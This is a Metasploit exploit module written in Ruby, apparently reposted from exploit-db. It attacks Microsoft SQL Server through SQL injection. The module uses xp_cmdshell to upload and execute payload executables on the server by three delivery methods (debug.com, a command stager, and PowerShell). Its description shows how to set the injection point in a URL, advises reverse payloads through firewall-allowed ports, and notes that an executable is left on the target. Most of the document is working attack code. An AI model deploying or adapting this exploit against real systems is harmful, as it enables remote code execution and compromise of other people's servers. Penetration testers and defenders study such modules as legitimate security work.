Microsoft SQL Server – Payload Execution (via SQL Injection) (Metasploit)

  • 作者: Metasploit
    日期: 2011-02-08
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/16394/
  • ##
    # $Id: mssql_payload_sqli.rb 11730 2011-02-08 23:31:44Z jduck $
    ##
    
    ##
    # This file is part of the Metasploit Framework and may be subject to
    # redistribution and commercial restrictions. Please see the Metasploit
    # Framework web site for more information on licensing and terms of use.
    # http://metasploit.com/framework/
    ##
    
    require 'msf/core'
    
    class Metasploit3 < Msf::Exploit::Remote
    	Rank = AverageRanking
    
    	include Msf::Exploit::Remote::MSSQL_SQLI
    	include Msf::Exploit::CmdStagerVBS
    
    	def initialize(info = {})
    		super(update_info(info,
    			'Name' => 'Microsoft SQL Server Payload Execution via SQL injection',
    			'Description'=> %q{
    					This module will execute an arbitrary payload on a Microsoft SQL
    				Server, using a SQL injection vulnerability.
    
    				Once a vulnerability is identified this module
    				will use xp_cmdshell to upload and execute Metasploit payloads.
    				It is necessary to specify the exact point where the SQL injection
    				vulnerability happens. For example, given the following injection:
    
    				http://www.example.com/show.asp?id=1;exec xp_cmdshell 'dir';--&cat=electrical
    
    				you would need to set the following path:
    				set GET_PATH /showproduct.asp?id=1;[SQLi];--&cat=foobar
    
    				In regard to the payload, unless there is a closed port in the web server,
    				you dont want to use any "bind" payload, specially on port 80, as you will
    				stop reaching the vulnerable web server host. You want a "reverse" payload, probably to
    				your port 80 or to any other outbound port allowed on the firewall.
    				For privileged ports execute Metasploit msfconsole as root.
    
    				Currently, three delivery methods are supported.
    
    				First, the original method uses Windows 'debug.com'. File size restrictions are
    				avoidied by incorporating the debug bypass method presented by SecureStat at
    				Defcon 17. Since this method invokes ntvdm, it is not available on x86_64 systems.
    
    				A second method takes advantage of the Command Stager subsystem. This allows using
    				various techniques, such as using a TFTP server, to send the executable. By default
    				the Command Stager uses 'wcsript.exe' to generate the executable on the target.
    
    				Finally, ReL1K's latest method utilizes PowerShell to transmit and recreate the
    				payload on the target.
    
    				NOTE: This module will leave a payload executable on the target system when the
    				attack is finished.
    
    			},
    			'Author' =>
    				[
    					'David Kennedy "ReL1K" <kennedyd013[at]gmail.com>',# original module, debug.exe method, powershell method
    					'jduck',# command stager mods
    					'Rodrigo Marcos' # SQL injection mods
    				],
    			'License'=> MSF_LICENSE,
    			'Version'=> '$Revision: 11730 $',
    			'References' =>
    				[
    					# 'sa' password in logs
    					[ 'CVE', '2000-0402' ],
    					[ 'OSVDB', '557' ],
    					[ 'BID', '1281' ],
    
    					# blank default 'sa' password
    					[ 'CVE', '2000-1209' ],
    					[ 'OSVDB', '15757' ],
    					[ 'BID', '4797' ],
    
    					# code and comments
    					[ 'URL', 'http://www.secforce.co.uk/blog/2011/01/penetration-testing-sql-injection-and-metasploit/' ]
    
    				],
    			'Platform' => 'win',
    			'Payload'=>
    				{
    					'BadChars' 	=> "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c&=+?:;-,/#.\\\$\%",
    				},
    			'Targets'=>
    				[
    					[ 'Automatic', { } ],
    				],
    			'DefaultTarget'=> 0,
    			'DisclosureDate' => 'May 30 2000'
    			))
    		register_options(
    			[
    				OptBool.new('VERBOSE', [ false, 'Enable verbose output', false ]),
    				OptString.new('DELIVERY', [ true, 'Which payload delivery method to use (ps, cmd, or old)', 'old' ])
    			])
    	end
    
    	# This is method required for the CmdStager to work...
    	def execute_command(cmd, opts)
    		mssql_xpcmdshell(cmd, datastore['VERBOSE'])
    	end
    
    	def exploit
    
    		method = datastore['DELIVERY'].downcase
    
    		if (method =~ /^cmd/)
    			execute_cmdstager({ :linemax => 1500, :nodelete => true })
    			#execute_cmdstager({ :linemax => 1500 })
    		else
    			# Generate the EXE, this is the same no matter what delivery mechanism we use
    			exe = generate_payload_exe
    
    			# Use powershell method for payload delivery if specified
    			if (method =~ /^ps/) or (method =~ /^power/)
    				powershell_upload_exec(exe)
    			else
    				# Otherwise, fall back to the old way..
    				mssql_upload_exec(exe, datastore['VERBOSE'])
    			end
    		end
    		print_status("Almost there, the stager takes a while to execute. Waiting 50 seconds...")
    		select(nil,nil,nil,50)
    		handler
    		disconnect
    	end
    
    
    end